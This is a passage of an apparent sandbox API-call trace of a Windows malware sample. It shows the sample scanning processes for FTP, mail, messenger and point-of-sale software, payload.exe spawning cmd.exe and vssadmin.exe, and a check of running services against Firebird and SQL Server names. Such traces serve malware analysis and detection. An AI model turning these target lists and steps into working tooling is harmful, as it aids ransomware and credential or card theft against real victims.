hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0054.973] lstrlenW (lpString="alftp.exe") returned 9 [0054.973] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0054.973] lstrlenW (lpString="barca.exe") returned 9 [0054.973] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0054.974] lstrlenW (lpString="bitkinex.exe") returned 12 [0054.974] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0054.974] lstrlenW (lpString="coreftp.exe") returned 11 [0054.974] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0054.974] lstrlenW (lpString="far.exe") returned 7 [0054.974] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0054.975] lstrlenW (lpString="filezilla.exe") returned 13 [0054.975] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0054.975] lstrlenW (lpString="flashfxp.exe") returned 12 [0054.975] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0054.975] lstrlenW (lpString="fling.exe") returned 9 [0054.975] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0054.976] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0054.976] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0054.976] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0054.976] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0054.977] lstrlenW (lpString="icq.exe") returned 7 [0054.977] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0054.977] lstrlenW (lpString="leechftp.exe") returned 12 [0054.977] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0054.977] lstrlenW (lpString="ncftp.exe") returned 9 [0054.978] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0054.978] lstrlenW (lpString="notepad.exe") returned 11 [0054.978] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0054.979] lstrlenW (lpString="operamail.exe") returned 13 [0054.979] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0054.979] lstrlenW (lpString="pidgin.exe") returned 10 [0054.979] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0054.980] lstrlenW (lpString="scriptftp.exe") returned 13 [0054.980] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0054.980] lstrlenW (lpString="skype.exe") returned 9 [0054.980] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0055.035] lstrlenW (lpString="smartftp.exe") returned 12 [0055.035] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0055.037] lstrlenW (lpString="thunderbird.exe") returned 15 [0055.037] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0055.039] lstrlenW (lpString="totalcmd.exe") returned 12 [0055.039] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0055.040] lstrlenW (lpString="trillian.exe") returned 12 [0055.040] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0055.040] lstrlenW (lpString="webdrive.exe") returned 12 [0055.040] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0055.041] lstrlenW (lpString="whatsapp.exe") returned 12 [0055.041] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0055.041] lstrlenW (lpString="winscp.exe") returned 10 [0055.041] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0055.042] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0055.042] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0055.043] lstrlenW (lpString="active-charge.exe") returned 17 [0055.043] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0055.043] lstrlenW (lpString="accupos.exe") returned 11 [0055.043] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0055.044] lstrlenW (lpString="afr38.exe") returned 9 [0055.044] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0055.044] lstrlenW (lpString="aldelo.exe") returned 10 [0055.044] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0055.045] lstrlenW (lpString="ccv_server.exe") returned 14 [0055.045] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0055.045] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0055.045] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0055.046] lstrlenW (lpString="creditservice.exe") returned 17 [0055.046] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0055.047] lstrlenW (lpString="edcsvr.exe") returned 10 [0055.047] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0055.047] lstrlenW (lpString="fpos.exe") returned 8 [0055.047] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0055.048] lstrlenW (lpString="isspos.exe") returned 10 [0055.048] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0055.048] lstrlenW (lpString="mxslipstream.exe") returned 16 [0055.048] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0055.049] lstrlenW (lpString="omnipos.exe") returned 11 [0055.049] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0055.049] lstrlenW (lpString="spcwin.exe") returned 10 [0055.049] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0055.050] lstrlenW (lpString="spgagentservice.exe") returned 19 [0055.050] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0055.050] lstrlenW (lpString="utg2.exe") returned 8 [0055.050] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0055.051] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0055.051] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0055.051] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0055.051] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0055.052] lstrlenW (lpString="notebook.exe") returned 12 [0055.052] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0055.052] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0055.052] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0055.053] lstrlenW (lpString="current.exe") returned 11 [0055.053] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.053] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.053] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.054] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.054] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.054] lstrlenW (lpString="taskhost.exe") returned 12 [0055.054] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0055.055] lstrlenW (lpString="payload.exe") returned 11 [0055.055] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.055] lstrlenW (lpString="cmd.exe") returned 7 [0055.055] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.055] lstrlenW (lpString="conhost.exe") returned 11 [0055.056] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0055.056] lstrlenW (lpString="vssadmin.exe") returned 12 [0055.056] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0055.056] lstrlenW (lpString="VSSVC.exe") returned 9 [0055.056] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.057] lstrlenW (lpString="svchost.exe") returned 11 [0055.057] Process32NextW (in: hSnapshot=0x218, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0055.057] CloseHandle (hObject=0x218) returned 1 [0055.057] Sleep (dwMilliseconds=0x1f4) [0055.633] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ee2238 [0055.633] EnumServicesStatusExW (in: hSCManager=0x3ee2238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0055.634] GetLastError () returned 0xea [0055.634] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0055.634] EnumServicesStatusExW (in: hSCManager=0x3ee2238, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0055.634] CloseServiceHandle (hSCObject=0x3ee2238) returned 1 [0055.634] lstrlenW (lpString="Appinfo") returned 7 [0055.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.634] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.634] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.634] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.634] lstrlenW (lpString="AudioSrv") returned 8 [0055.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.634] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.635] lstrlenW (lpString="BFE") returned 3 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.635] lstrlenW (lpString="CryptSvc") returned 8 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.635] lstrlenW (lpString="CscService") returned 10 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.635] lstrlenW (lpString="DcomLaunch") returned 10 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.635] lstrlenW (lpString="Dhcp") returned 4 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.635] lstrlenW (lpString="Dnscache") returned 8 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.635] lstrlenW (lpString="DPS") returned 3 [0055.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.635] lstrcmpiW 